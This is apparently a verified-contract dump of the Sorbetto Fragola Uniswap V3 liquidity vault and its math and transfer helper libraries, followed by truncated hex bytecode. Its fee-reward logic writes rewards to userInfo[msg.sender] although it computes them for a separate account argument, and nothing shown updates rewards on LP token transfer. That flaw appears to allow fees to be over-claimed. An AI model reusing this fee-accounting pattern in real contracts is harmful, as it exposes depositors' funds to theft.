multiplicand /// @param y The multiplier /// @return z The product of x and y function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(x == 0 || (z = x * y) / x == y); } /// @notice Returns x - y, reverts if underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(uint256 x, uint256 y, string memory errorMessage) internal pure returns (uint256 z) { require((z = x - y) <= x, errorMessage); } /// @notice Returns x + y, reverts if overflows or underflows /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add(int256 x, int256 y) internal pure returns (int256 z) { require((z = x + y) >= x == (y >= 0)); } /// @notice Returns x - y, reverts if overflows or underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub(int256 x, int256 y) internal pure returns (int256 z) { require((z = x - y) <= x == (y >= 0)); } /// @notice Returns x + y, reverts if sum overflows uint128 /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add128(uint128 x, uint128 y) internal pure returns (uint128 z) { require((z = x + y) >= x); } /// @notice Returns x - y, reverts if underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub128(uint128 x, uint128 y) internal pure returns (uint128 z) { require((z = x - y) <= x); } /// @notice Returns x * y, reverts if overflows /// @param x The multiplicand /// @param y The multiplier /// @return z The product of x and y function mul128(uint128 x, uint128 y) internal pure returns (uint128 z) { require(x == 0 || (z = x * y) / x == y); } /// @notice Returns x + y, reverts if sum overflows uint128 /// @param x The augend /// @param y The addend /// @return z The sum of x and y function add160(uint160 x, uint160 y) internal pure returns (uint160 z) { require((z = x + y) >= x); } /// @notice Returns x - y, reverts if underflows /// @param x The minuend /// @param y The subtrahend /// @return z The difference of x and y function sub160(uint160 x, uint160 y) internal pure returns (uint160 z) { require((z = x - y) <= x); } /// @notice Returns x * y, reverts if overflows /// @param x The multiplicand /// @param y The multiplier /// @return z The product of x and y function mul160(uint160 x, uint160 y) internal pure returns (uint160 z) { require(x == 0 || (z = x * y) / x == y); } } pragma solidity >=0.5.0; /// @title Functions based on Q64.96 sqrt price and liquidity /// @notice Contains the math that uses square root of price as a Q64.96 and liquidity to compute deltas library SqrtPriceMath { using LowGasSafeMath for uint256; using SafeCast for uint256; /// @notice Gets the next sqrt price given a delta of token0 /// @dev Always rounds up, because in the exact output case (increasing price) we need to move the price at least /// far enough to get the desired output amount, and in the exact input case (decreasing price) we need to move the /// price less in order to not send too much output. /// The most precise formula for this is liquidity * sqrtPX96 / (liquidity +- amount * sqrtPX96), /// if this is impossible because of overflow, we calculate liquidity / (liquidity / sqrtPX96 +- amount). /// @param sqrtPX96 The starting price, i.e. before accounting for the token0 delta /// @param liquidity The amount of usable liquidity /// @param amount How much of token0 to add or remove from virtual reserves /// @param add Whether to add or remove the amount of token0 /// @return The price after adding or removing amount, depending on add function getNextSqrtPriceFromAmount0RoundingUp( uint160 sqrtPX96, uint128 liquidity, uint256 amount, bool add ) internal pure returns (uint160) { // we short circuit amount == 0 because the result is otherwise not guaranteed to equal the input price if (amount == 0) return sqrtPX96; uint256 numerator1 = uint256(liquidity) << FixedPoint96.RESOLUTION; if (add) { uint256 product; if ((product = amount * sqrtPX96) / amount == sqrtPX96) { uint256 denominator = numerator1 + product; if (denominator >= numerator1) // always fits in 160 bits return uint160(FullMath.mulDivRoundingUp(numerator1, sqrtPX96, denominator)); } return uint160(UnsafeMath.divRoundingUp(numerator1, (numerator1 / sqrtPX96).add(amount))); } else { uint256 product; // if the product overflows, we know the denominator underflows // in addition, we must check that the denominator does not underflow require((product = amount * sqrtPX96) / amount == sqrtPX96 && numerator1 > product); uint256 denominator = numerator1 - product; return FullMath.mulDivRoundingUp(numerator1, sqrtPX96, denominator).toUint160(); } } /// @notice Gets the next sqrt price given a delta of token1 /// @dev Always rounds down, because in the exact output case (decreasing price) we need to move the price at least /// far enough to get the desired output amount, and in the exact input case (increasing price) we need to move the /// price less in order to not send too much output. /// The formula we compute is within <1 wei of the lossless version: sqrtPX96 +- amount / liquidity /// @param sqrtPX96 The starting price, i.e., before accounting for the token1 delta /// @param liquidity The amount of usable liquidity /// @param amount How much of token1 to add, or remove, from virtual reserves /// @param add Whether to add, or remove, the amount of token1 /// @return The price after adding or removing `amount` function getNextSqrtPriceFromAmount1RoundingDown( uint160 sqrtPX96, uint128 liquidity, uint256 amount, bool add ) internal pure returns (uint160) { // if we're adding (subtracting), rounding down requires rounding the quotient down (up) // in both cases, avoid a mulDiv for most inputs if (add) { uint256 quotient = ( amount <= type(uint160).max ? (amount << FixedPoint96.RESOLUTION) / liquidity : FullMath.mulDiv(amount, FixedPoint96.Q96, liquidity) ); return uint256(sqrtPX96).add(quotient).toUint160(); } else { uint256 quotient = ( amount <= type(uint160).max ? UnsafeMath.divRoundingUp(amount << FixedPoint96.RESOLUTION, liquidity) : FullMath.mulDivRoundingUp(amount, FixedPoint96.Q96, liquidity) ); require(sqrtPX96 > quotient); // always fits 160 bits return uint160(sqrtPX96 - quotient); } } } pragma solidity >=0.6.0; library TransferHelper { /// @notice Transfers tokens from the targeted address to the given destination /// @notice Errors with 'STF' if transfer fails /// @param token The contract address of the token to be transferred /// @param from The originating address from which the tokens will be transferred /// @param to The destination address of the transfer /// @param value The amount to be transferred function safeTransferFrom( address token, address from, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transferFrom.selector, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'STF'); } /// @notice Transfers tokens from msg.sender to a recipient /// @dev Errors with ST if transfer fails /// @param token The contract address of the token which will be transferred /// @param to The recipient of the transfer /// @param value The value of the transfer function safeTransfer( address token, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transfer.selector, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'ST'); } /// @notice Transfers ETH to the recipient address /// @dev Fails with `STE` /// @param to The destination of the transfer /// @param value The value to be transferred function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'STE'); } } pragma solidity ^0.7.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "RC"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } pragma solidity =0.7.6; /// @title Interface for WETH9 interface IWETH9 is IERC20 { /// @notice Deposit ether to get wrapped ether function deposit() external payable; } pragma solidity 0.7.6; /// @title Sorbetto Fragola is a yield enchancement v3 contract /// @dev Sorbetto fragola is a Uniswap V3 yield enchancement contract which acts as /// intermediary between the user who wants to provide liquidity to specific pools /// and earn fees from such actions. The contract ensures that user position is in /// range and earns maximum amount of fees available at current liquidity utilization /// rate. contract SorbettoFragola is ERC20Permit, ReentrancyGuard, ISorbettoFragola { using LowGasSafeMath for uint256; using LowGasSafeMath for uint160; using LowGasSafeMath for uint128; using UnsafeMath for uint256; using SafeCast for uint256; using PoolVariables for IUniswapV3Pool; using PoolActions for IUniswapV3Pool; //Any data passed through by the caller via the IUniswapV3PoolActions#mint call struct MintCallbackData { address payer; } //Any data passed through by the caller via the IUniswapV3PoolActions#swap call struct SwapCallbackData { bool zeroForOne; } // Info of each user struct UserInfo { uint256 token0Rewards; // The amount of fees in token 0 uint256 token1Rewards; // The amount of fees in token 1 uint256 token0PerSharePaid; // Token 0 reward debt uint256 token1PerSharePaid; // Token 1 reward debt } /// @notice Emitted when user adds liquidity /// @param sender The address that minted the liquidity /// @param liquidity The amount of liquidity added by the user to position /// @param amount0 How much token0 was required for the added liquidity /// @param amount1 How much token1 was required for the added liquidity event Deposit( address indexed sender, uint256 liquidity, uint256 amount0, uint256 amount1 ); /// @notice Emitted when user withdraws liquidity /// @param sender The address that minted the liquidity /// @param shares of liquidity withdrawn by the user from the position /// @param amount0 How much token0 was required for the added liquidity /// @param amount1 How much token1 was required for the added liquidity event Withdraw( address indexed sender, uint256 shares, uint256 amount0, uint256 amount1 ); /// @notice Emitted when fees was collected from the pool /// @param feesFromPool0 Total amount of fees collected in terms of token 0 /// @param feesFromPool1 Total amount of fees collected in terms of token 1 /// @param usersFees0 Total amount of fees collected by users in terms of token 0 /// @param usersFees1 Total amount of fees collected by users in terms of token 1 event CollectFees( uint256 feesFromPool0, uint256 feesFromPool1, uint256 usersFees0, uint256 usersFees1 ); /// @notice Emitted when sorbetto fragola changes the position in the pool /// @param tickLower Lower price tick of the positon /// @param tickUpper Upper price tick of the position /// @param amount0 Amount of token 0 deposited to the position /// @param amount1 Amount of token 1 deposited to the position event Rerange( int24 tickLower, int24 tickUpper, uint256 amount0, uint256 amount1 ); /// @notice Emitted when user collects his fee share /// @param sender User address /// @param fees0 Exact amount of fees claimed by the users in terms of token 0 /// @param fees1 Exact amount of fees claimed by the users in terms of token 1 event RewardPaid( address indexed sender, uint256 fees0, uint256 fees1 ); /// @notice Shows current Sorbetto's balances /// @param totalAmount0 Current token0 Sorbetto's balance /// @param totalAmount1 Current token1 Sorbetto's balance event Snapshot(uint256 totalAmount0, uint256 totalAmount1); event TransferGovernance(address indexed previousGovernance, address indexed newGovernance); /// @notice Prevents calls from users modifier onlyGovernance { require(msg.sender == governance, "OG"); _; } mapping(address => UserInfo) public userInfo; // Info of each user that provides liquidity tokens. /// @inheritdoc ISorbettoFragola address public immutable override token0; /// @inheritdoc ISorbettoFragola address public immutable override token1; // WETH address address public immutable weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // @inheritdoc ISorbettoFragola int24 public immutable override tickSpacing; uint24 immutable GLOBAL_DIVISIONER = 1e6; // for basis point (0.0001%) // @inheritdoc ISorbettoFragola IUniswapV3Pool public override pool; // Accrued protocol fees in terms of token0 uint256 public accruedProtocolFees0; // Accrued protocol fees in terms of token1 uint256 public accruedProtocolFees1; // Total lifetime accrued users fees in terms of token0 uint256 public usersFees0; // Total lifetime accrued users fees in terms of token1 uint256 public usersFees1; // intermediate variable for user fee token0 calculation uint256 public token0PerShareStored; // intermediate variable for user fee token1 calculation uint256 public token1PerShareStored; // Address of the Sorbetto's owner address public governance; // Pending to claim ownership address address public pendingGovernance; //Sorbetto fragola settings address address public strategy; // Current tick lower of sorbetto pool position int24 public override tickLower; // Current tick higher of sorbetto pool position int24 public override tickUpper; // Checks if sorbetto is initialized bool public finalized; /** * @dev After deploying, strategy can be set via `setStrategy()` * @param _pool Underlying Uniswap V3 pool with fee = 3000 * @param _strategy Underlying Sorbetto Strategy for Sorbetto settings */ constructor( address _pool, address _strategy ) ERC20("Popsicle LP V3 UNI/WETH", "PLP") ERC20Permit("Popsicle LP V3 UNI/WETH") { pool = IUniswapV3Pool(_pool); strategy = _strategy; token0 = pool.token0(); token1 = pool.token1(); tickSpacing = pool.tickSpacing(); governance = msg.sender; } //initialize strategy function init() external onlyGovernance { require(!finalized, "F"); finalized = true; int24 baseThreshold = tickSpacing * ISorbettoStrategy(strategy).tickRangeMultiplier(); ( , int24 currentTick, , , , , ) = pool.slot0(); int24 tickFloor = PoolVariables.floor(currentTick, tickSpacing); tickLower = tickFloor - baseThreshold; tickUpper = tickFloor + baseThreshold; PoolVariables.checkRange(tickLower, tickUpper); //check ticks also for overflow/underflow } /// @inheritdoc ISorbettoFragola function deposit( uint256 amount0Desired, uint256 amount1Desired ) external payable override nonReentrant checkDeviation updateVault(msg.sender) returns ( uint256 shares, uint256 amount0, uint256 amount1 ) { require(amount0Desired > 0 && amount1Desired > 0, "ANV"); // compute the liquidity amount uint128 liquidity = pool.liquidityForAmounts(amount0Desired, amount1Desired, tickLower, tickUpper); (amount0, amount1) = pool.mint( address(this), tickLower, tickUpper, liquidity, abi.encode(MintCallbackData({payer: msg.sender}))); shares = _calcShare(liquidity); _mint(msg.sender, shares); refundETH(); emit Deposit(msg.sender, shares, amount0, amount1); } /// @inheritdoc ISorbettoFragola function withdraw( uint256 shares ) external override nonReentrant checkDeviation updateVault(msg.sender) returns ( uint256 amount0, uint256 amount1 ) { require(shares > 0, "S"); (amount0, amount1) = pool.burnLiquidityShare(tickLower, tickUpper, totalSupply(), shares, msg.sender); // Burn shares _burn(msg.sender, shares); emit Withdraw(msg.sender, shares, amount0, amount1); } /// @inheritdoc ISorbettoFragola function rerange() external override nonReentrant checkDeviation updateVault(address(0)) { //Burn all liquidity from pool to rerange for Sorbetto's balances. pool.burnAllLiquidity(tickLower, tickUpper); // Emit snapshot to record balances uint256 balance0 = _balance0(); uint256 balance1 = _balance1(); emit Snapshot(balance0, balance1); int24 baseThreshold = tickSpacing * ISorbettoStrategy(strategy).tickRangeMultiplier(); //Get exact ticks depending on Sorbetto's balances (tickLower, tickUpper) = pool.getPositionTicks(balance0, balance1, baseThreshold, tickSpacing); //Get Liquidity for Sorbetto's balances uint128 liquidity = pool.liquidityForAmounts(balance0, balance1, tickLower, tickUpper); // Add liquidity to the pool (uint256 amount0, uint256 amount1) = pool.mint( address(this), tickLower, tickUpper, liquidity, abi.encode(MintCallbackData({payer: address(this)}))); emit Rerange(tickLower, tickUpper, amount0, amount1); } /// @inheritdoc ISorbettoFragola function rebalance() external override onlyGovernance nonReentrant checkDeviation updateVault(address(0)) { //Burn all liquidity from pool to rerange for Sorbetto's balances. pool.burnAllLiquidity(tickLower, tickUpper); //Calc base ticks (uint160 sqrtPriceX96, int24 currentTick, , , , , ) = pool.slot0(); PoolVariables.Info memory cache = PoolVariables.Info(0, 0, 0, 0, 0, 0, 0); int24 baseThreshold = tickSpacing * ISorbettoStrategy(strategy).tickRangeMultiplier(); (cache.tickLower, cache.tickUpper) = PoolVariables.baseTicks(currentTick, baseThreshold, tickSpacing); cache.amount0Desired = _balance0(); cache.amount1Desired = _balance1(); emit Snapshot(cache.amount0Desired, cache.amount1Desired); // Calc liquidity for base ticks cache.liquidity = pool.liquidityForAmounts(cache.amount0Desired, cache.amount1Desired, cache.tickLower, cache.tickUpper); // Get exact amounts for base ticks (cache.amount0, cache.amount1) = pool.amountsForLiquidity(cache.liquidity, cache.tickLower, cache.tickUpper); // Get imbalanced token bool zeroForOne = PoolVariables.amountsDirection(cache.amount0Desired, cache.amount1Desired, cache.amount0, cache.amount1); // Calculate the amount of imbalanced token that should be swapped. Calculations strive to achieve one to one ratio int256 amountSpecified = zeroForOne ? int256(cache.amount0Desired.sub(cache.amount0).unsafeDiv(2)) : int256(cache.amount1Desired.sub(cache.amount1).unsafeDiv(2)); // always positive. "overflow" safe convertion cuz we are dividing by 2 // Calculate Price limit depending on price impact uint160 exactSqrtPriceImpact = sqrtPriceX96.mul160(ISorbettoStrategy(strategy).priceImpactPercentage() / 2) / GLOBAL_DIVISIONER; uint160 sqrtPriceLimitX96 = zeroForOne ? sqrtPriceX96.sub160(exactSqrtPriceImpact) : sqrtPriceX96.add160(exactSqrtPriceImpact); //Swap imbalanced token as long as we haven't used the entire amountSpecified and haven't reached the price limit pool.swap( address(this), zeroForOne, amountSpecified, sqrtPriceLimitX96, abi.encode(SwapCallbackData({zeroForOne: zeroForOne})) ); (sqrtPriceX96, currentTick, , , , , ) = pool.slot0(); // Emit snapshot to record balances cache.amount0Desired = _balance0(); cache.amount1Desired = _balance1(); emit Snapshot(cache.amount0Desired, cache.amount1Desired); //Get exact ticks depending on Sorbetto's new balances (tickLower, tickUpper) = pool.getPositionTicks(cache.amount0Desired, cache.amount1Desired, baseThreshold, tickSpacing); cache.liquidity = pool.liquidityForAmounts(cache.amount0Desired, cache.amount1Desired, tickLower, tickUpper); // Add liquidity to the pool (cache.amount0, cache.amount1) = pool.mint( address(this), tickLower, tickUpper, cache.liquidity, abi.encode(MintCallbackData({payer: address(this)}))); emit Rerange(tickLower, tickUpper, cache.amount0, cache.amount1); } // Calcs user share depending on deposited amounts function _calcShare(uint128 liquidity) internal view returns ( uint256 shares ) { shares = totalSupply() == 0 ? uint256(liquidity) : uint256(liquidity).mul(totalSupply()).unsafeDiv(uint256(pool.positionLiquidity(tickLower, tickUpper))); } /// @dev Amount of token0 held as unused balance. function _balance0() internal view returns (uint256) { return IERC20(token0).balanceOf(address(this)); } /// @dev Amount of token1 held as unused balance. function _balance1() internal view returns (uint256) { return IERC20(token1).balanceOf(address(this)); } /// @dev collects fees from the pool function _earnFees() internal returns (uint256 userCollect0, uint256 userCollect1) { // Do zero-burns to poke the Uniswap pools so earned fees are updated pool.burn(tickLower, tickUpper, 0); (uint256 collect0, uint256 collect1) = pool.collect( address(this), tickLower, tickUpper, type(uint128).max, type(uint128).max ); // Calculate protocol's and users share of fees uint256 feeToProtocol0 = collect0.mul(ISorbettoStrategy(strategy).protocolFee()).unsafeDiv(GLOBAL_DIVISIONER); uint256 feeToProtocol1 = collect1.mul(ISorbettoStrategy(strategy).protocolFee()).unsafeDiv(GLOBAL_DIVISIONER); accruedProtocolFees0 = accruedProtocolFees0.add(feeToProtocol0); accruedProtocolFees1 = accruedProtocolFees1.add(feeToProtocol1); userCollect0 = collect0.sub(feeToProtocol0); userCollect1 = collect1.sub(feeToProtocol1); usersFees0 = usersFees0.add(userCollect0); usersFees1 = usersFees1.add(userCollect1); emit CollectFees(collect0, collect1, usersFees0, usersFees1); } /// @notice Returns current Sorbetto's position in pool function position() external view returns (uint128 liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1) { bytes32 positionKey = PositionKey.compute(address(this), tickLower, tickUpper); (liquidity, feeGrowthInside0LastX128, feeGrowthInside1LastX128, tokensOwed0, tokensOwed1) = pool.positions(positionKey); } /// @notice Pull in tokens from sender. Called to `msg.sender` after minting liquidity to a position from IUniswapV3Pool#mint. /// @dev In the implementation you must pay to the pool for the minted liquidity. /// @param amount0 The amount of token0 due to the pool for the minted liquidity /// @param amount1 The amount of token1 due to the pool for the minted liquidity /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#mint call function uniswapV3MintCallback( uint256 amount0, uint256 amount1, bytes calldata data ) external { require(msg.sender == address(pool), "FP"); MintCallbackData memory decoded = abi.decode(data, (MintCallbackData)); if (amount0 > 0) pay(token0, decoded.payer, msg.sender, amount0); if (amount1 > 0) pay(token1, decoded.payer, msg.sender, amount1); } /// @notice Called to `msg.sender` after minting swaping from IUniswapV3Pool#swap. /// @dev In the implementation you must pay to the pool for swap. /// @param amount0 The amount of token0 due to the pool for the swap /// @param amount1 The amount of token1 due to the pool for the swap /// @param _data Any data passed through by the caller via the IUniswapV3PoolActions#swap call function uniswapV3SwapCallback( int256 amount0, int256 amount1, bytes calldata _data ) external { require(msg.sender == address(pool), "FP"); require(amount0 > 0 || amount1 > 0); // swaps entirely within 0-liquidity regions are not supported SwapCallbackData memory data = abi.decode(_data, (SwapCallbackData)); bool zeroForOne = data.zeroForOne; if (zeroForOne) pay(token0, address(this), msg.sender, uint256(amount0)); else pay(token1, address(this), msg.sender, uint256(amount1)); } /// @param token The token to pay /// @param payer The entity that must pay /// @param recipient The entity that will receive payment /// @param value The amount to pay function pay( address token, address payer, address recipient, uint256 value ) internal { if (token == weth && address(this).balance >= value) { // pay with WETH9 IWETH9(weth).deposit{value: value}(); // wrap only what is needed to pay IWETH9(weth).transfer(recipient, value); } else if (payer == address(this)) { // pay with tokens already in the contract (for the exact input multihop case) TransferHelper.safeTransfer(token, recipient, value); } else { // pull payment TransferHelper.safeTransferFrom(token, payer, recipient, value); } } /** * @notice Used to withdraw accumulated protocol fees. */ function collectProtocolFees( uint256 amount0, uint256 amount1 ) external nonReentrant onlyGovernance updateVault(address(0)) { require(accruedProtocolFees0 >= amount0, "A0F"); require(accruedProtocolFees1 >= amount1, "A1F"); uint256 balance0 = _balance0(); uint256 balance1 = _balance1(); if (balance0 >= amount0 && balance1 >= amount1) { if (amount0 > 0) pay(token0, address(this), msg.sender, amount0); if (amount1 > 0) pay(token1, address(this), msg.sender, amount1); } else { uint128 liquidity = pool.liquidityForAmounts(amount0, amount1, tickLower, tickUpper); pool.burnExactLiquidity(tickLower, tickUpper, liquidity, msg.sender); } accruedProtocolFees0 = accruedProtocolFees0.sub(amount0); accruedProtocolFees1 = accruedProtocolFees1.sub(amount1); emit RewardPaid(msg.sender, amount0, amount1); } /** * @notice Used to withdraw accumulated user's fees. */ function collectFees(uint256 amount0, uint256 amount1) external nonReentrant updateVault(msg.sender) { UserInfo storage user = userInfo[msg.sender]; require(user.token0Rewards >= amount0, "A0R"); require(user.token1Rewards >= amount1, "A1R"); uint256 balance0 = _balance0(); uint256 balance1 = _balance1(); if (balance0 >= amount0 && balance1 >= amount1) { if (amount0 > 0) pay(token0, address(this), msg.sender, amount0); if (amount1 > 0) pay(token1, address(this), msg.sender, amount1); } else { uint128 liquidity = pool.liquidityForAmounts(amount0, amount1, tickLower, tickUpper); (amount0, amount1) = pool.burnExactLiquidity(tickLower, tickUpper, liquidity, msg.sender); } user.token0Rewards = user.token0Rewards.sub(amount0); user.token1Rewards = user.token1Rewards.sub(amount1); emit RewardPaid(msg.sender, amount0, amount1); } // Function modifier that calls update fees reward function modifier updateVault(address account) { _updateFeesReward(account); _; } // Function modifier that checks if price has not moved a lot recently. // This mitigates price manipulation during rebalance and also prevents placing orders // when it's too volatile. modifier checkDeviation() { pool.checkDeviation(ISorbettoStrategy(strategy).maxTwapDeviation(), ISorbettoStrategy(strategy).twapDuration()); _; } // Updates user's fees reward function _updateFeesReward(address account) internal { uint liquidity = pool.positionLiquidity(tickLower, tickUpper); if (liquidity == 0) return; // we can't poke when liquidity is zero (uint256 collect0, uint256 collect1) = _earnFees(); token0PerShareStored = _tokenPerShare(collect0, token0PerShareStored); token1PerShareStored = _tokenPerShare(collect1, token1PerShareStored); if (account != address(0)) { UserInfo storage user = userInfo[msg.sender]; user.token0Rewards = _fee0Earned(account, token0PerShareStored); user.token0PerSharePaid = token0PerShareStored; user.token1Rewards = _fee1Earned(account, token1PerShareStored); user.token1PerSharePaid = token1PerShareStored; } } // Calculates how much token0 is entitled for a particular user function _fee0Earned(address account, uint256 fee0PerShare_) internal view returns (uint256) { UserInfo memory user = userInfo[account]; return balanceOf(account) .mul(fee0PerShare_.sub(user.token0PerSharePaid)) .unsafeDiv(1e18) .add(user.token0Rewards); } // Calculates how much token1 is entitled for a particular user function _fee1Earned(address account, uint256 fee1PerShare_) internal view returns (uint256) { UserInfo memory user = userInfo[account]; return balanceOf(account) .mul(fee1PerShare_.sub(user.token1PerSharePaid)) .unsafeDiv(1e18) .add(user.token1Rewards); } // Calculates how much token is provided per LP token function _tokenPerShare(uint256 collected, uint256 tokenPerShareStored) internal view returns (uint256) { uint _totalSupply = totalSupply(); if (_totalSupply > 0) { return tokenPerShareStored .add( collected .mul(1e18) .unsafeDiv(_totalSupply) ); } return tokenPerShareStored; } /// @notice Refunds any ETH balance held by this contract to the `msg.sender` /// @dev Useful for bundling with mint or increase liquidity that uses ether, or exact output swaps /// that use ether for the input amount function refundETH() internal { if (address(this).balance > 0) TransferHelper.safeTransferETH(msg.sender, address(this).balance); } /** * @notice `setGovernance()` should be called by the existing governance * address prior to calling this function. */ function setGovernance(address _governance) external onlyGovernance { pendingGovernance = _governance; } /** * @notice Governance address is not updated until the new governance * address has called `acceptGovernance()` to accept this responsibility. */ function acceptGovernance() external { require(msg.sender == pendingGovernance, "PG"); emit TransferGovernance(governance, pendingGovernance); pendingGovernance = address(0); governance = msg.sender; } // Sets new strategy contract address for new settings function setStrategy(address _strategy) external onlyGovernance { require(_strategy != address(0), "NA"); strategy = _strategy; } }
0x6080604052600436106102f25760003560e01c806370a082311161018f578063ce81c6bc116100e1578063e1c7392a1161008a578063eb3221b411610064578063eb3221b4146107ae578063f39c38a0146107c3578063fa461e33146107d8576102f2565b8063e1c7392a14610762578063e2bbb15814610777578063eae989a214610799576102f2565b8063d3487997116100bb578063d348799714610702578063d505accf14610722578063dd62ed3e14610742576102f2565b8063ce81c6bc146106c3578063d0c93a7c146106d8578063d21220a7146106ed576102f2565b8063a457c2d711610143578063ab033ea91161011d578063ab033ea914610679578063b3f05b9714610699578063c5892c02146106ae576102f2565b8063a457c2d714610624578063a8c62e7614610644578063a9059cbb14610659576102f2565b80637ecebe00116101745780637ecebe00146105da57806395d89b41146105fa578063a00fa77f1461060f576102f2565b806370a08231146105a55780637d7c2a1c146105c5576102f2565b80632e1a7d4d116102485780633fc8cef3116101fc5780635aa6e675116101d65780635aa6e6751461055b5780636c751a10146105705780636cae7bf714610585576102f2565b80633fc8cef31461050f57806355b812a81461052457806359c4f90514610546576102f2565b806333a100ca1161022d57806333a100ca146104ba5780633644e515146104da57806339509351146104ef576102f2565b80632e1a7d4d1461046a578063313ce56714610498576102f2565b806316f0115b116102aa5780631959a002116102845780631959a00214610405578063238efcbc1461043557806323b872dd1461044a576102f2565b806316f0115b146103b957806318160ddd146103ce57806318db7c38146103f0576102f2565b8063095ea7b3116102db578063095ea7b3146103485780630dfe16811461037557806314c04c4f14610397576102f2565b806306fdde03146102f757806309218e9114610322575b600080fd5b34801561030357600080fd5b5061030c6107f8565b604051610319919061597e565b60405180910390f35b34801561032e57600080fd5b5061033761088f565b604051610319959493929190615d5e565b34801561035457600080fd5b506103686103633660046152d1565b610954565b6040516103199190615895565b34801561038157600080fd5b5061038a610972565b6040516103199190615735565b3480156103a357600080fd5b506103b76103b2366004615658565b610996565b005b3480156103c557600080fd5b5061038a610bac565b3480156103da57600080fd5b506103e3610bbb565b60405161031991906158a0565b3480156103fc57600080fd5b506103e3610bc1565b34801561041157600080fd5b506104256104203660046151cd565b610bc7565b6040516103199493929190615db4565b34801561044157600080fd5b506103b7610bee565b34801561045657600080fd5b50610368610465366004615221565b610c84565b34801561047657600080fd5b5061048a610485366004615628565b610d1d565b604051610319929190615d90565b3480156104a457600080fd5b506104ad610f25565b6040516103199190615dcf565b3480156104c657600080fd5b506103b76104d53660046151cd565b610f2e565b3480156104e657600080fd5b506103e3610fad565b3480156104fb57600080fd5b5061036861050a3660046152d1565b610fbc565b34801561051b57600080fd5b5061038a61100a565b34801561053057600080fd5b5061053961102e565b6040516103199190615927565b34801561055257600080fd5b5061053961103e565b34801561056757600080fd5b5061038a61104e565b34801561057c57600080fd5b506103e361105d565b34801561059157600080fd5b506103b76105a0366004615658565b611063565b3480156105b157600080fd5b506103e36105c03660046151cd565b61125b565b3480156105d157600080fd5b506103b761127a565b3480156105e657600080fd5b506103e36105f53660046151cd565b611af8565b34801561060657600080fd5b5061030c611b19565b34801561061b57600080fd5b506103e3611b7a565b34801561063057600080fd5b5061036861063f3660046152d1565b611b80565b34801561065057600080fd5b5061038a611beb565b34801561066557600080fd5b506103686106743660046152d1565b611bfa565b34801561068557600080fd5b506103b76106943660046151cd565b611c0e565b3480156106a557600080fd5b50610368611c67565b3480156106ba57600080fd5b506103e3611c77565b3480156106cf57600080fd5b506103e3611c7d565b3480156106e457600080fd5b50610539611c83565b3480156106f957600080fd5b5061038a611ca7565b34801561070e57600080fd5b506103b761071d36600461541d565b611ccb565b34801561072e57600080fd5b506103b761073d366004615261565b611d78565b34801561074e57600080fd5b506103e361075d3660046151e9565b611e5a565b34801561076e57600080fd5b506103b7611e85565b61078a610785366004615658565b6120c5565b60405161031993929190615d9e565b3480156107a557600080fd5b506103e36122ef565b3480156107ba57600080fd5b506103b76122f5565b3480156107cf57600080fd5b5061038a61265b565b3480156107e457600080fd5b506103b76107f336600461541d565b61266a565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156108845780601f1061085957610100808354040283529160200191610884565b820191906000526020600020905b81548152906001019060200180831161086757829003601f168201915b505050505090505b90565b6000806000806000806108c130601260149054906101000a900460020b601260179054906101000a900460020b61272e565b60095460405163514ea4bf60e01b81529192506001600160a01b03169063514ea4bf906108f29084906004016158a0565b60a06040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109429190615521565b939a9299509097509550909350915050565b6000610968610961612764565b8484612768565b5060015b92915050565b7f0000000000000000000000001f9840a85d5af5bf1d1762f925bdaddc4201f98481565b600260075414156109c25760405162461bcd60e51b81526004016109b990615d06565b60405180910390fd5b60026007556010546001600160a01b031633146109f15760405162461bcd60e51b81526004016109b990615ccc565b60006109fc8161281c565b82600a541015610a1e5760405162461bcd60e51b81526004016109b990615d22565b81600b541015610a405760405162461bcd60e51b81526004016109b990615aea565b6000610a4a6128ed565b90506000610a5661298c565b9050848210158015610a685750838110155b15610ad6578415610a9f57610a9f7f000000000000000000